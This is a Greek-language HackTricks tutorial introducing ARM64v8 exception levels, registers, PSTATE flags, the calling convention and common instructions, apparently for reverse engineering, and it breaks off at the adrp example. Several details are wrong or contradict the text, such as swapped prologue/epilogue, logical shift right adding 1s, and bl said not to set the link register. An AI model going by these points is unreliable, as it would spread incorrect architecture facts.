Εισαγωγή στο ARM64v8
Reading time: 37 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Επίπεδα Εξαίρεσης - EL (ARM64v8)
Στην αρχιτεκτονική ARMv8, τα επίπεδα εκτέλεσης, γνωστά ως Επίπεδα Εξαίρεσης (ELs), καθορίζουν το επίπεδο προνομίων και τις δυνατότητες του περιβάλλοντος εκτέλεσης. Υπάρχουν τέσσερα επίπεδα εξαίρεσης, που κυμαίνονται από EL0 έως EL3, το καθένα εξυπηρετεί διαφορετικό σκοπό:
- EL0 - Λειτουργία Χρήστη:
- Αυτό είναι το λιγότερο προνομιακό επίπεδο και χρησιμοποιείται για την εκτέλεση κανονικού κώδικα εφαρμογής.
- Οι εφαρμογές που εκτελούνται στο EL0 είναι απομονωμένες η μία από την άλλη και από το λογισμικό του συστήματος, ενισχύοντας την ασφάλεια και τη σταθερότητα.
- EL1 - Λειτουργία Πυρήνα Λειτουργικού Συστήματος:
- Οι περισσότεροι πυρήνες λειτουργικών συστημάτων εκτελούνται σε αυτό το επίπεδο.
- Το EL1 έχει περισσότερα προνόμια από το EL0 και μπορεί να έχει πρόσβαση σε πόρους του συστήματος, αλλά με ορισμένους περιορισμούς για να διασφαλιστεί η ακεραιότητα του συστήματος.
- EL2 - Λειτουργία Υπερχειριστή:
- Αυτό το επίπεδο χρησιμοποιείται για εικονικοποίηση. Ένας υπερχειριστής που εκτελείται στο EL2 μπορεί να διαχειρίζεται πολλαπλά λειτουργικά συστήματα (το καθένα στο δικό του EL1) που εκτελούνται στο ίδιο φυσικό υλικό.
- Το EL2 παρέχει δυνατότητες για απομόνωση και έλεγχο των εικονικών περιβαλλόντων.
- EL3 - Λειτουργία Ασφαλούς Παρακολούθησης:
- Αυτό είναι το πιο προνομιακό επίπεδο και χρησιμοποιείται συχνά για ασφαλή εκκίνηση και αξιόπιστα περιβάλλοντα εκτέλεσης.
- Το EL3 μπορεί να διαχειρίζεται και να ελέγχει τις προσβάσεις μεταξύ ασφαλών και μη ασφαλών καταστάσεων (όπως ασφαλής εκκίνηση, αξιόπιστο λειτουργικό σύστημα κ.λπ.).
Η χρήση αυτών των επιπέδων επιτρέπει έναν δομημένο και ασφαλή τρόπο διαχείρισης διαφορετικών πτυχών του συστήματος, από τις εφαρμογές χρήστη έως το πιο προνομιακό λογισμικό του συστήματος. Η προσέγγιση του ARMv8 στα επίπεδα προνομίων βοηθά στην αποτελεσματική απομόνωση διαφορετικών συστατικών του συστήματος, ενισχύοντας έτσι την ασφάλεια και την ανθεκτικότητα του συστήματος.
Καταχωρητές (ARM64v8)
Το ARM64 έχει 31 γενικούς καταχωρητές, επισημασμένους από x0
έως x30
. Κάθε ένας μπορεί να αποθηκεύσει μια 64-bit (8-byte) τιμή. Για λειτουργίες που απαιτούν μόνο 32-bit τιμές, οι ίδιοι καταχωρητές μπορούν να προσπελαστούν σε 32-bit λειτουργία χρησιμοποιώντας τα ονόματα w0 έως w30.
x0
έωςx7
- Αυτοί χρησιμοποιούνται συνήθως ως καταχωρητές scratch και για τη μεταφορά παραμέτρων σε υπορουτίνες.
x0
μεταφέρει επίσης τα δεδομένα επιστροφής μιας συνάρτησης.
x8
- Στον πυρήνα Linux, τοx8
χρησιμοποιείται ως αριθμός κλήσης συστήματος για την εντολήsvc
. Στο macOS χρησιμοποιείται το x16!x9
έωςx15
- Περισσότεροι προσωρινοί καταχωρητές, συχνά χρησιμοποιούμενοι για τοπικές μεταβλητές.x16
καιx17
- Καταχωρητές Ενδο-διαδικαστικής Κλήσης. Προσωρινοί καταχωρητές για άμεσες τιμές. Χρησιμοποιούνται επίσης για έμμεσες κλήσεις συναρτήσεων και PLT (Πίνακας Σύνδεσης Διαδικασίας).
x16
χρησιμοποιείται ως αριθμός κλήσης συστήματος για την εντολήsvc
στο macOS.
x18
- Καταχωρητής πλατφόρμας. Μπορεί να χρησιμοποιηθεί ως γενικός καταχωρητής, αλλά σε ορισμένες πλατφόρμες, αυτός ο καταχωρητής είναι δεσμευμένος για συγκεκριμένες χρήσεις πλατφόρμας: Δείκτης στο τρέχον μπλοκ περιβάλλοντος νήματος στα Windows, ή για να δείχνει στη δομή τρέχουσας εκτελούμενης εργασίας στον πυρήνα linux.x19
έωςx28
- Αυτοί είναι καταχωρητές που διατηρούνται από τον καλούμενο. Μια συνάρτηση πρέπει να διατηρεί τις τιμές αυτών των καταχωρητών για τον καλούντα, οπότε αποθηκεύονται στο στοίβα και ανακτώνται πριν επιστρέψουν στον καλούντα.x29
- Δείκτης πλαισίου για την παρακολούθηση του πλαισίου στοίβας. Όταν δημιουργείται ένα νέο πλαίσιο στοίβας επειδή καλείται μια συνάρτηση, ο καταχωρητήςx29
αποθηκεύεται στο στοίβα και η διεύθυνση του νέου δείκτη πλαισίου (διεύθυνσηsp
) αποθηκεύεται σε αυτόν τον καταχωρητή.
- Αυτός ο καταχωρητής μπορεί επίσης να χρησιμοποιηθεί ως γενικός καταχωρητής αν και συνήθως χρησιμοποιείται ως αναφορά σε τοπικές μεταβλητές.
x30
ήlr
- Καταχωρητής σύνδεσης. Διατηρεί τη διεύθυνση επιστροφής όταν εκτελείται μια εντολήBL
(Branch with Link) ήBLR
(Branch with Link to Register) αποθηκεύοντας την τιμήpc
σε αυτόν τον καταχωρητή.
- Μπορεί επίσης να χρησιμοποιηθεί όπως οποιοσδήποτε άλλος καταχωρητής.
- Εάν η τρέχουσα συνάρτηση πρόκειται να καλέσει μια νέα συνάρτηση και επομένως να επαναγράψει το
lr
, θα το αποθηκεύσει στο στοίβα στην αρχή, αυτό είναι το επιλόγιο (stp x29, x30 , [sp, #-48]; mov x29, sp
-> Αποθήκευσηfp
καιlr
, δημιουργία χώρου και λήψη νέουfp
) και θα το ανακτήσει στο τέλος, αυτό είναι το πρόλογο (ldp x29, x30, [sp], #48; ret
-> Ανάκτησηfp
καιlr
και επιστροφή).
sp
- Δείκτης στοίβας, χρησιμοποιείται για την παρακολούθηση της κορυφής της στοίβας.
- Η τιμή
sp
θα πρέπει πάντα να διατηρείται τουλάχιστον σε ευθυγράμμιση quadword ή μπορεί να προκύψει εξαίρεση ευθυγράμμισης.
pc
- Μετρητής προγράμματος, που δείχνει στην επόμενη εντολή. Αυτός ο καταχωρητής μπορεί να ενημερωθεί μόνο μέσω γενεών εξαιρέσεων, επιστροφών εξαιρέσεων και κλάδων. Οι μόνοι κανονικοί εντολές που μπορούν να διαβάσουν αυτόν τον καταχωρητή είναι οι εντολές κλάδου με σύνδεση (BL, BLR) για να αποθηκεύσουν τη διεύθυνσηpc
στοlr
(Καταχωρητής Σύνδεσης).xzr
- Καταχωρητής μηδέν. Ονομάζεται επίσηςwzr
στην 32-bit μορφή του. Μπορεί να χρησιμοποιηθεί για να αποκτήσει εύκολα την τιμή μηδέν (συνηθισμένη λειτουργία) ή για να εκτελέσει συγκρίσεις χρησιμοποιώνταςsubs
όπωςsubs XZR, Xn, #10
αποθηκεύοντας τα αποτελέσματα που δεν πηγαίνουν πουθενά (στοxzr
).
Οι καταχωρητές Wn
είναι η 32bit έκδοση των καταχωρητών Xn
.
SIMD και Καταχωρητές Κινητής Υποδιαστολής
Επιπλέον, υπάρχουν άλλοι 32 καταχωρητές μήκους 128bit που μπορούν να χρησιμοποιηθούν σε βελτιστοποιημένες λειτουργίες πολλαπλών δεδομένων με μία εντολή (SIMD) και για την εκτέλεση αριθμητικών υπολογισμών κινητής υποδιαστολής. Αυτοί ονομάζονται καταχωρητές Vn αν και μπορούν επίσης να λειτουργούν σε 64-bit, 32-bit, 16-bit και 8-bit και τότε ονομάζονται Qn
, Dn
, Sn
, Hn
και Bn
.
Καταχωρητές Συστήματος
Υπάρχουν εκατοντάδες καταχωρητές συστήματος, που ονομάζονται επίσης καταχωρητές ειδικού σκοπού (SPRs), που χρησιμοποιούνται για παρακολούθηση και έλεγχο της συμπεριφοράς των επεξεργαστών.
Μπορούν να διαβαστούν ή να ρυθμιστούν μόνο χρησιμοποιώντας τις ειδικές εντολές mrs
και msr
.
Οι ειδικοί καταχωρητές TPIDR_EL0
και TPIDDR_EL0
βρίσκονται συχνά κατά την αντίστροφη μηχανική. Το επίθημα EL0
υποδεικνύει την ελάχιστη εξαίρεση από την οποία μπορεί να προσπελαστεί ο καταχωρητής (σε αυτή την περίπτωση το EL0 είναι το κανονικό επίπεδο εξαίρεσης (προνομίων) με το οποίο εκτελούνται τα κανονικά προγράμματα).
Συνήθως χρησιμοποιούνται για να αποθηκεύσουν τη βάση διεύθυνση της περιοχής αποθήκευσης τοπικών νημάτων στη μνήμη. Συνήθως ο πρώτος είναι αναγνώσιμος και εγγράψιμος για προγράμματα που εκτελούνται στο EL0, αλλά ο δεύτερος μπορεί να διαβαστεί από το EL0 και να γραφτεί από το EL1 (όπως ο πυρήνας).
mrs x0, TPIDR_EL0 ; Διαβάστε το TPIDR_EL0 στο x0
msr TPIDR_EL0, X0 ; Γράψτε το x0 στο TPIDR_EL0
PSTATE
PSTATE περιέχει διάφορα συστατικά διαδικασίας σειριακά στο ορατό από το λειτουργικό σύστημα SPSR_ELx
ειδικό καταχωρητή, όπου το X είναι το επίπεδο άδειας της ενεργοποιημένης εξαίρεσης (αυτό επιτρέπει την ανάκτηση της κατάστασης της διαδικασίας όταν τελειώνει η εξαίρεση).
Αυτά είναι τα προσβάσιμα πεδία:
.png)
- Οι σημαίες συνθηκών
N
,Z
,C
καιV
: N
σημαίνει ότι η λειτουργία απέδωσε αρνητικό αποτέλεσμαZ
σημαίνει ότι η λειτουργία απέδωσε μηδένC
σημαίνει ότι η λειτουργία είχε μεταφοράV
σημαίνει ότι η λειτουργία απέδωσε υπερχείλιση υπογραφής:- Το άθροισμα δύο θετικών αριθμών αποδίδει αρνητικό αποτέλεσμα.
- Το άθροισμα δύο αρνητικών αριθμών αποδίδει θετικό αποτέλεσμα.
- Στην αφαίρεση, όταν αφαιρείται ένας μεγάλος αρνητικός αριθμός από έναν μικρό θετικό αριθμό (ή το αντίστροφο), και το αποτέλεσμα δεν μπορεί να αναπαρασταθεί εντός του εύρους του δεδομένου μεγέθους bit.
- Προφανώς, ο επεξεργαστής δεν γνωρίζει αν η λειτουργία είναι υπογεγραμμένη ή όχι, οπότε θα ελέγξει το C και το V στις λειτουργίες και θα υποδείξει αν συνέβη μεταφορά σε περίπτωση που ήταν υπογεγραμμένη ή μη υπογεγραμμένη.
warning
Όχι όλες οι εντολές ενημερώνουν αυτές τις σημαίες. Ορισμένες όπως CMP
ή TST
το κάνουν, και άλλες που έχουν ένα s στο τέλος όπως ADDS
το κάνουν επίσης.
- Η τρέχουσα σημαία πλάτους καταχωρητή (
nRW
): Εάν η σημαία έχει την τιμή 0, το πρόγραμμα θα εκτελείται στην κατάσταση εκτέλεσης AArch64 μόλις επανεκκινήσει. - Το τρέχον Επίπεδο Εξαίρεσης (
EL
): Ένα κανονικό πρόγραμμα που εκτελείται στο EL0 θα έχει την τιμή 0. - Η σημαία μονοβήματος (
SS
): Χρησιμοποιείται από αποσφαλματωτές για να εκτελούν μονοβήματα ρυθμίζοντας τη σημαία SS σε 1 μέσα στοSPSR_ELx
μέσω μιας εξαίρεσης. Το πρόγραμμα θα εκτελεί ένα βήμα και θα εκδώσει μια εξαίρεση μονοβήματος. - Η σημαία κατάστασης παράνομης εξαίρεσης (
IL
): Χρησιμοποιείται για να σημάνει πότε ένα προνομιακό λογισμικό εκτελεί μια μη έγκυρη μεταφορά επιπέδου εξαίρεσης, αυτή η σημαία ρυθμίζεται σε 1 και ο επεξεργαστής ενεργοποιεί μια εξαίρεση παράνομης κατάστασης. - Οι σημαίες
DAIF
: Αυτές οι σημαίες επιτρέπουν σε ένα προνομιακό πρόγραμμα να επιλέξει να αποκρύψει ορισμένες εξωτερικές εξαιρέσεις. - Εάν
A
είναι 1 σημαίνει ότι θα ενεργοποιηθούν ασύγχρονοι τερματισμοί. ΗI
ρυθμίζει την αντίδραση σε εξωτερικά αιτήματα διακοπής (IRQs). και το F σχετίζεται με Γρήγορα Αιτήματα Διακοπής (FIRs). - Οι σημαίες επιλογής δείκτη στοίβας (
SPS
): Προνομιακά προγράμματα που εκτελούνται στο EL1 και άνω μπορούν να εναλλάσσουν τη χρήση του δικού τους καταχωρητή δείκτη στοίβας και του δείκτη μοντέλου χρήστη (π.χ. μεταξύSP_EL1
καιEL0
). Αυτή η εναλλαγή πραγματοποιείται γράφοντας στον ειδικό καταχωρητήSPSel
. Αυτό δεν μπορεί να γίνει από το EL0.
Σύμβαση Κλήσης (ARM64v8)
Η σύμβαση κλήσης ARM64 καθορίζει ότι οι πρώτες οκτώ παράμετροι σε μια συνάρτηση μεταφέρονται σε καταχωρητές x0
έως x7
. Επιπλέον παράμετροι μεταφέρονται στο στοίβα. Η τιμή επιστροφής μεταφέρεται πίσω στον καταχωρητή x0
, ή στο x1
επίσης αν είναι 128 bits. Οι καταχωρητές x19
έως x30
και sp
πρέπει να διατηρούνται κατά τις κλήσεις συναρτήσεων.
Όταν διαβάζετε μια συνάρτηση σε assembly, αναζητήστε τον πρόλογο και το επιλόγιο της συνάρτησης. Ο πρόλογος συνήθως περιλαμβάνει αποθήκευση του δείκτη πλαισίου (x29
), ρύθμιση ενός νέου δείκτη πλαισίου, και κατανομή χώρου στοίβας. Το επιλόγιο συνήθως περιλαμβάνει αποκατάσταση του αποθηκευμένου δείκτη πλαισίου και επιστροφή από τη συνάρτηση.
Σύμβαση Κλήσης στη Swift
Η Swift έχει τη δική της σύμβαση κλήσης που μπορεί να βρεθεί στο https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64
Κοινές Εντολές (ARM64v8)
Οι εντολές ARM64 γενικά έχουν τη μορφή opcode dst, src1, src2
, όπου opcode
είναι η λειτουργία που θα εκτελεστεί (όπως add
, sub
, mov
, κ.λπ.), dst
είναι ο καταχωρητής προορισμού όπου θα αποθηκευτεί το αποτέλεσμα, και src1
και src2
είναι οι καταχωρητές πηγής. Άμεσες τιμές μπορούν επίσης να χρησιμοποιηθούν στη θέση των καταχωρητών πηγής.
-
mov
: Μεταφορά μιας τιμής από έναν καταχωρητή σε έναν άλλο. -
Παράδειγμα:
mov x0, x1
— Αυτό μεταφέρει την τιμή απόx1
στοx0
. -
ldr
: Φόρτωση μιας τιμής από μνήμη σε έναν καταχωρητή. -
Παράδειγμα:
ldr x0, [x1]
— Αυτό φορτώνει μια τιμή από τη διεύθυνση μνήμης που υποδεικνύεται απόx1
στοx0
. -
Λειτουργία Offset: Ένα offset που επηρεάζει τον αρχικό δείκτη υποδεικνύεται, για παράδειγμα:
-
ldr x2, [x1, #8]
, αυτό θα φορτώσει στο x2 την τιμή από x1 + 8 -
ldr x2, [x0, x1, lsl #2]
, αυτό θα φορτώσει στο x2 ένα αντικείμενο από τον πίνακα x0, από τη θέση x1 (δείκτης) * 4 -
Προ-ευρετηριασμένη λειτουργία: Αυτό θα εφαρμόσει υπολογισμούς στον αρχικό δείκτη, θα πάρει το αποτέλεσμα και θα αποθηκεύσει επίσης τον νέο αρχικό δείκτη στον αρχικό δείκτη.
-
ldr x2, [x1, #8]!
, αυτό θα φορτώσει τοx1 + 8
στοx2
και θα αποθηκεύσει στο x1 το αποτέλεσμα τουx1 + 8
-
str lr, [sp, #-4]!
, Αποθήκευση του καταχωρητή σύνδεσης στο sp και ενημέρωση του καταχωρητή sp -
Μετα-ευρετηριασμένη λειτουργία: Αυτό είναι όπως η προηγούμενη αλλά η διεύθυνση μνήμης προσπελάζεται και στη συνέχεια υπολογίζεται και αποθηκεύεται το offset.
-
ldr x0, [x1], #8
, φορτώνει τοx1
στοx0
και ενημερώνει το x1 μεx1 + 8
-
Διεύθυνση σχετική με το PC: Σε αυτή την περίπτωση, η διεύθυνση που θα φορτωθεί υπολογίζεται σε σχέση με τον καταχωρητή PC
-
ldr x1, =_start
, Αυτό θα φορτώσει τη διεύθυνση όπου ξεκινά το σύμβολο_start
στο x1 σχετική με το τρέχον PC. -
str
: Αποθήκευση μιας τιμής από έναν καταχωρητή σε μνήμη. -
Παράδειγμα:
str x0, [x1]
— Αυτό αποθηκεύει την τιμή στοx0
στη διεύθυνση μνήμης που υποδεικνύεται απόx1
. -
ldp
: Φόρτωση Ζεύγους Καταχωρητών. Αυτή η εντολή φορτώνει δύο καταχωρητές από διαδοχικές μνήμες. Η διεύθυνση μνήμης σχηματίζεται συνήθως προσθέτοντας ένα offset στην τιμή ενός άλλου καταχωρητή. -
Παράδειγμα:
ldp x0, x1, [x2]
— Αυτό φορτώνει τοx0
και τοx1
από τις διευθύνσεις μνήμης σταx2
καιx2 + 8
, αντίστοιχα. -
stp
: Αποθήκευση Ζεύγους Καταχωρητών. Αυτή η εντολή αποθηκεύει δύο καταχωρητές σε διαδοχικές μνήμες. Η διεύθυνση μνήμης σχηματίζεται συνήθως προσθέτοντας ένα offset στην τιμή ενός άλλου καταχωρητή. -
Παράδειγμα:
stp x0, x1, [sp]
— Αυτό αποθηκεύει τοx0
και τοx1
στις διευθύνσεις μνήμης σταsp
καιsp + 8
, αντίστοιχα. -
stp x0, x1, [sp, #16]!
— Αυτό αποθηκεύει τοx0
και τοx1
στις διευθύνσεις μνήμης σταsp+16
καιsp + 24
, αντίστοιχα, και ενημερώνει τοsp
μεsp+16
. -
add
: Προσθέτει τις τιμές δύο καταχωρητών και αποθηκεύει το αποτέλεσμα σε έναν καταχωρητή. -
Σύνταξη: add(s) Xn1, Xn2, Xn3 | #imm, [shift #N | RRX]
-
Xn1 -> Προορισμός
-
Xn2 -> Λειτουργία 1
-
Xn3 | #imm -> Λειτουργία 2 (καταχωρητής ή άμεσο)
-
[shift #N | RRX] -> Εκτέλεση μιας μετατόπισης ή κλήση RRX
-
Παράδειγμα:
add x0, x1, x2
— Αυτό προσθέτει τις τιμές σταx1
καιx2
και αποθηκεύει το αποτέλεσμα στοx0
. -
add x5, x5, #1, lsl #12
— Αυτό ισούται με 4096 (ένα 1 μετατοπισμένο 12 φορές) -> 1 0000 0000 0000 0000 -
adds
Αυτή εκτελεί μιαadd
και ενημερώνει τις σημαίες. -
sub
: Αφαιρεί τις τιμές δύο καταχωρητών και αποθηκεύει το αποτέλεσμα σε έναν καταχωρητή. -
Ελέγξτε τη σύνταξη
add
. -
Παράδειγμα:
sub x0, x1, x2
— Αυτό αφαιρεί την τιμή στοx2
από τοx1
και αποθηκεύει το αποτέλεσμα στοx0
. -
subs
Αυτό είναι όπως το sub αλλά ενημερώνει τη σημαία. -
mul
: Πολλαπλασιάζει τις τιμές δύο καταχωρητών και αποθηκεύει το αποτέλεσμα σε έναν καταχωρητή. -
Παράδειγμα:
mul x0, x1, x2
— Αυτό πολλαπλασιάζει τις τιμές σταx1
καιx2
και αποθηκεύει το αποτέλεσμα στοx0
. -
div
: Διαιρεί την τιμή ενός καταχωρητή με έναν άλλο και αποθηκεύει το αποτέλεσμα σε έναν καταχωρητή. -
Παράδειγμα:
div x0, x1, x2
— Αυτό διαιρεί την τιμή στοx1
με τοx2
και αποθηκεύει το αποτέλεσμα στοx0
. -
lsl
,lsr
,asr
,ror
,rrx
: -
Λογική μετατόπιση αριστερά: Προσθέτει 0s από το τέλος μετακινώντας τα άλλα bits προς τα εμπρός (πολλαπλασιάζει με n-φορές 2)
-
Λογική μετατόπιση δεξιά: Προσθέτει 1s στην αρχή μετακινώντας τα άλλα bits προς τα πίσω (διαιρεί με n-φορές 2 σε μη υπογεγραμμένα)
-
Αριθμητική μετατόπιση δεξιά: Όπως το
lsr
, αλλά αντί να προσθέτει 0s αν το πιο σημαντικό bit είναι 1, προστίθενται 1s (διαιρεί με n-φορές 2 σε υπογεγραμμένα) -
Μετατόπιση δεξιά: Όπως το
lsr
αλλά ό,τι αφαιρείται από τα δεξιά προστίθεται στα αριστερά -
Μετατόπιση Δεξιά με Επέκταση: Όπως το
ror
, αλλά με τη σημαία μεταφοράς ως το "πιο σημαντικό bit". Έτσι η σημαία μεταφοράς μετακινείται στο bit 31 και το αφαιρεθέν bit στη σημαία μεταφοράς. -
bfm
: Μεταφορά Bit Field, αυτές οι λειτουργίες αντιγράφουν bits0...n
από μια τιμή και τα τοποθετούν σε θέσειςm..m+n
. Το#s
καθορίζει τη θέση του αριστερού bit και το#r
την ποσότητα μετατόπισης δεξιά. -
Μεταφορά bitfield:
BFM Xd, Xn, #r
-
Υπογεγραμμένη μεταφορά bitfield:
SBFM Xd, Xn, #r, #s
-
Μη υπογεγραμμένη μεταφορά bitfield:
UBFM Xd, Xn, #r, #s
-
Εξαγωγή και Εισαγωγή Bitfield: Αντιγράφει ένα bitfield από έναν καταχωρητή και το αντιγράφει σε έναν άλλο καταχωρητή.
-
BFI X1, X2, #3, #4
Εισάγει 4 bits από το X2 από το 3ο bit του X1 -
BFXIL X1, X2, #3, #4
Εξάγει από το 3ο bit του X2 τέσσερα bits και τα αντιγράφει στο X1 -
SBFIZ X1, X2, #3, #4
Επεκτείνει το σήμα 4 bits από το X2 και τα εισάγει στο X1 ξεκινώντας από τη θέση bit 3 μηδενίζοντας τα δεξιά bits -
SBFX X1, X2, #3, #4
Εξάγει 4 bits ξεκινώντας από το bit 3 από το X2, επεκτείνει το σήμα τους και τοποθετεί το αποτέλεσμα στο X1 -
UBFIZ X1, X2, #3, #4
Μηδενίζει 4 bits από το X2 και τα εισάγει στο X1 ξεκινώντας από τη θέση bit 3 μηδενίζοντας τα δεξιά bits -
UBFX X1, X2, #3, #4
Εξάγει 4 bits ξεκινώντας από το bit 3 από το X2 και τοποθετεί το μηδενισμένο αποτέλεσμα στο X1. -
Επέκταση Σημασίας σε X: Επεκτείνει το σήμα (ή προσθέτει απλώς 0s στην μη υπογεγραμμένη έκδοση) μιας τιμής για να μπορέσει να εκτελέσει λειτουργίες με αυτήν:
-
SXTB X1, W2
Επεκτείνει το σήμα ενός byte από W2 σε X1 (W2
είναι το μισό τουX2
) για να γεμίσει τα 64bits -
SXTH X1, W2
Επεκτείνει το σήμα ενός αριθμού 16bit από W2 σε X1 για να γεμίσει τα 64bits -
SXTW X1, W2
Επεκτείνει το σήμα ενός byte από W2 σε X1 για να γεμίσει τα 64bits -
UXTB X1, W2
Προσθέτει 0s (μη υπογεγραμμένα) σε ένα byte από W2 σε X1 για να γεμίσει τα 64bits -
extr
: Εξάγει bits από ένα καθορισμένο ζεύγος καταχωρητών που συνδυάζονται. -
Παράδειγμα:
EXTR W3, W2, W1, #3
Αυτό θα συνδυάσει W1+W2 και θα πάρει από το bit 3 του W2 έως το bit 3 του W1 και θα το αποθηκεύσει στο W3. -
cmp
: Συγκρίνει δύο καταχωρητές και ρυθμίζει τις σημαίες συνθηκών. Είναι ένα ψευδώνυμο τουsubs
ρυθμίζοντας τον καταχωρητή προορισμού στο μηδενικό καταχωρητή. Χρήσιμο για να γνωρίζετε ανm == n
. -
Υποστηρίζει την ίδια σύνταξη με
subs
-
Παράδειγμα:
cmp x0, x1
— Αυτό συγκρίνει τις τιμές σταx0
καιx1
και ρυθμίζει τις σημαίες συνθηκών αναλόγως. -
cmn
: Συγκρίνει αρνητική παράμετρο. Σε αυτή την περίπτωση είναι ένα ψευδώνυμο τουadds
και υποστηρίζει την ίδια σύνταξη. Χρήσιμο για να γνωρίζετε ανm == -n
. -
ccmp
: Συνθήκη σύγκρισης, είναι μια σύγκριση που θα εκτελείται μόνο αν μια προηγούμενη σύγκριση ήταν αληθής και θα ρυθμίσει συγκεκριμένα τα bits nzcv. -
cmp x1, x2; ccmp x3, x4, 0, NE; blt _func
-> αν x1 != x2 και x3 < x4, πηγαίνετε στη func -
Αυτό συμβαίνει επειδή
ccmp
θα εκτελείται μόνο αν η προηγούμενηcmp
ήτανNE
, αν δεν ήταν τα bitsnzcv
θα ρυθμιστούν σε 0 (που δεν θα ικανοποιήσει τη σύγκρισηblt
). -
Αυτό μπορεί επίσης να χρησιμοποιηθεί ως
ccmn
(το ίδιο αλλά αρνητικό, όπωςcmp
έναντιcmn
). -
tst
: Ελέγχει αν οποιαδήποτε από τις τιμές της σύγκρισης είναι και οι δύο 1 (λειτουργεί όπως και το ANDS χωρίς να αποθηκεύει το αποτέλεσμα οπουδήποτε). Είναι χρήσιμο για να ελέγξετε έναν καταχωρητή με μια τιμή και να δείτε αν οποιοδήποτε από τα bits του καταχωρητή που υποδεικνύεται στην τιμή είναι 1. -
Παράδειγμα:
tst X1, #7
Ελέγξτε αν οποιοδήποτε από τα τελευταία 3 bits του X1 είναι 1 -
teq
: Λειτουργία XOR απορρίπτοντας το αποτέλεσμα -
b
: Ανεξάρτητη Κλάση -
Παράδειγμα:
b myFunction
-
Σημειώστε ότι αυτό δεν θα γεμίσει τον καταχωρητή σύνδεσης με τη διεύθυνση επιστροφής (δεν είναι κατάλληλο για κλήσεις υπορουτίνων που χρειάζονται επιστροφή)
-
bl
: Κλάση με σύνδεση, χρησιμοποιείται για να καλέσει μια υπορουτίνα. Αποθηκεύει τη διεύθυνση επιστροφής στοx30
. -
Παράδειγμα:
bl myFunction
— Αυτό καλεί τη συνάρτησηmyFunction
και αποθηκεύει τη διεύθυνση επιστροφής στοx30
. -
Σημειώστε ότι αυτό δεν θα γεμίσει τον καταχωρητή σύνδεσης με τη διεύθυνση επιστροφής (δεν είναι κατάλληλο για κλήσεις υπορουτίνων που χρειάζονται επιστροφή)
-
blr
: Κλάση με Σύνδεση σε Καταχωρητή, χρησιμοποιείται για να καλέσει μια υπορουτίνα όπου ο στόχος είναι καθορισμένος σε έναν καταχωρητή. Αποθηκεύει τη διεύθυνση επιστροφής στοx30
. (Αυτό είναι -
Παράδειγμα:
blr x1
— Αυτό καλεί τη συνάρτηση της οποίας η διεύθυνση περιέχεται στοx1
και αποθηκεύει τη διεύθυνση επιστροφής στοx30
. -
ret
: Επιστροφή από υπορουτίνα, συνήθως χρησιμοποιώντας τη διεύθυνση στοx30
. -
Παράδειγμα:
ret
— Αυτό επιστρέφει από την τρέχουσα υπορουτίνα χρησιμοποιώντας τη διεύθυνση επιστροφής στοx30
. -
b.<cond>
: Συνθήκες κλάσης -
b.eq
: Κλάση αν ίσο, βασισμένο στην προηγούμενη εντολήcmp
. -
Παράδειγμα:
b.eq label
— Εάν η προηγούμενη εντολήcmp
βρήκε δύο ίσες τιμές, αυτό πηγαίνει στηνlabel
. -
b.ne
: Κλάση αν Όχι Ίσο. Αυτή η εντολή ελέγχει τις σημαίες συνθηκών (οι οποίες ρυθμίστηκαν από μια προηγούμενη εντολή σύγκρισης), και αν οι συγκριθείσες τιμές δεν ήταν ίσες, κλάδισε σε μια ετικέτα ή διεύθυνση. -
Παράδειγμα: Μετά από μια εντολή
cmp x0, x1
,b.ne label
— Εάν οι τιμές σταx0
καιx1
δεν ήταν ίσες, αυτό πηγαίνει στηνlabel
. -
cbz
: Σύγκριση και Κλάση σε Μηδέν. Αυτή η εντολή συγκρίνει έναν καταχωρητή με το μηδέν, και αν είναι ίσοι, κλάδισε σε μια ετικέτα ή διεύθυνση. -
Παράδειγμα:
cbz x0, label
— Εάν η τιμή στοx0
είναι μηδέν, αυτό πηγαίνει στηνlabel
. -
cbnz
: Σύγκριση και Κλάση σε Μη Μηδέν. Αυτή η εντολή συγκρίνει έναν καταχωρητή με το μηδέν, και αν δεν είναι ίσοι, κλάδισε σε μια ετικέτα ή διεύθυνση. -
Παράδειγμα:
cbnz x0, label
— Εάν η τιμή στοx0
είναι μη μηδέν, αυτό πηγαίνει στηνlabel
. -
tbnz
: Δοκιμή bit και κλάση σε μη μηδέν -
Παράδειγμα:
tbnz x0, #8, label
-
tbz
: Δοκιμή bit και κλάση σε μηδέν -
Παράδειγμα:
tbz x0, #8, label
-
Συνθήκες επιλεγμένων λειτουργιών: Αυτές είναι λειτουργίες των οποίων η συμπεριφορά ποικίλλει ανάλογα με τα συνθήκες bits.
-
csel Xd, Xn, Xm, cond
->csel X0, X1, X2, EQ
-> Εάν είναι αληθές, X0 = X1, εάν είναι ψευδές, X0 = X2 -
csinc Xd, Xn, Xm, cond
-> Εάν είναι αληθές, Xd = Xn, εάν είναι ψευδές, Xd = Xm + 1 -
cinc Xd, Xn, cond
-> Εάν είναι αληθές, Xd = Xn + 1, εάν είναι ψευδές, Xd = Xn -
csinv Xd, Xn, Xm, cond
-> Εάν είναι αληθές, Xd = Xn, εάν είναι ψευδές, Xd = NOT(Xm) -
cinv Xd, Xn, cond
-> Εάν είναι αληθές, Xd = NOT(Xn), εάν είναι ψευδές, Xd = Xn -
csneg Xd, Xn, Xm, cond
-> Εάν είναι αληθές, Xd = Xn, εάν είναι ψευδές, Xd = - Xm -
cneg Xd, Xn, cond
-> Εάν είναι αληθές, Xd = - Xn, εάν είναι ψευδές, Xd = Xn -
cset Xd, Xn, Xm, cond
-> Εάν είναι αληθές, Xd = 1, εάν είναι ψευδές, Xd = 0 -
csetm Xd, Xn, Xm, cond
-> Εάν είναι αληθές, Xd = <όλα 1>, εάν είναι ψευδές, Xd = 0 -
adrp
: Υπολογίζει τη διεύθυνση σελίδας ενός συμβόλου και την αποθηκεύει σε έναν καταχωρητή. -
Παράδειγμα:
adrp x0, symbol
